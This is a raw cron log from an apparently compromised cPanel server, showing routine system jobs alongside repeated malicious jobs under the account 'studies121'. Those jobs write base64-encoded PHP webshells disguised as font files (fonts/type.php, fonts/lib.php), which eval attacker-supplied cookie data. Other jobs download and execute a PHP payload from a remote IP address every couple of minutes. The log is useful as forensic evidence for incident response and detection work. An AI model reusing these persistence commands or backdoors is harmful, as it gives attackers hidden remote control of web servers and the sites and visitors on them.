Aug 31 15:54:01 ip-184-168-122-23 CROND[24686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:54:01 ip-184-168-122-23 CROND[24685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:55:01 ip-184-168-122-23 CROND[24793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:55:01 ip-184-168-122-23 CROND[24795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:55:01 ip-184-168-122-23 CROND[24796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:55:01 ip-184-168-122-23 CROND[24797]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:55:01 ip-184-168-122-23 CROND[24794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:55:01 ip-184-168-122-23 CROND[24798]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:56:01 ip-184-168-122-23 CROND[24899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:56:01 ip-184-168-122-23 CROND[24900]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:56:01 ip-184-168-122-23 CROND[24903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:56:01 ip-184-168-122-23 CROND[24907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:56:01 ip-184-168-122-23 CROND[24904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:57:01 ip-184-168-122-23 CROND[25004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:57:01 ip-184-168-122-23 CROND[25007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:57:01 ip-184-168-122-23 CROND[25005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:57:01 ip-184-168-122-23 CROND[25006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:58:01 ip-184-168-122-23 CROND[25093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:58:01 ip-184-168-122-23 CROND[25095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:58:01 ip-184-168-122-23 CROND[25097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:58:01 ip-184-168-122-23 CROND[25098]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:58:01 ip-184-168-122-23 CROND[25096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:59:01 ip-184-168-122-23 CROND[25200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:59:01 ip-184-168-122-23 CROND[25201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:59:01 ip-184-168-122-23 CROND[25202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:59:01 ip-184-168-122-23 CROND[25204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25382]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25389]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:00:01 ip-184-168-122-23 CROND[25388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:00:01 ip-184-168-122-23 CROND[25392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:01:01 ip-184-168-122-23 CROND[25552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:01:01 ip-184-168-122-23 CROND[25554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:01:01 ip-184-168-122-23 CROND[25553]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 16:01:01 ip-184-168-122-23 CROND[25556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:01:01 ip-184-168-122-23 CROND[25557]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:01:01 ip-184-168-122-23 CROND[25558]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25553]: starting 0anacron
Aug 31 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25574]: finished 0anacron
Aug 31 16:02:01 ip-184-168-122-23 CROND[25680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:02:01 ip-184-168-122-23 CROND[25682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:02:01 ip-184-168-122-23 CROND[25683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:02:01 ip-184-168-122-23 CROND[25684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:02:01 ip-184-168-122-23 CROND[25685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:03:01 ip-184-168-122-23 CROND[25799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:03:01 ip-184-168-122-23 CROND[25800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:03:01 ip-184-168-122-23 CROND[25802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:03:01 ip-184-168-122-23 CROND[25803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:04:01 ip-184-168-122-23 CROND[25884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:04:01 ip-184-168-122-23 CROND[25887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 16:04:01 ip-184-168-122-23 CROND[25886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:04:01 ip-184-168-122-23 CROND[25889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:04:01 ip-184-168-122-23 CROND[25888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:05:01 ip-184-168-122-23 CROND[26014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 16:05:01 ip-184-168-122-23 CROND[26019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 16:05:01 ip-184-168-122-23 CROND[26016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 16:05:01 ip-184-168-122-23 CROND[26017]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 16:05:01 ip-184-168-122-23 CROND[26018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 16:05:01 ip-184-168-122-23 CROND[26021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 16:05:01 ip-184-168-122-23 CROND[26020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 16:06:01 ip-184-168-122-23 CROND[26471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
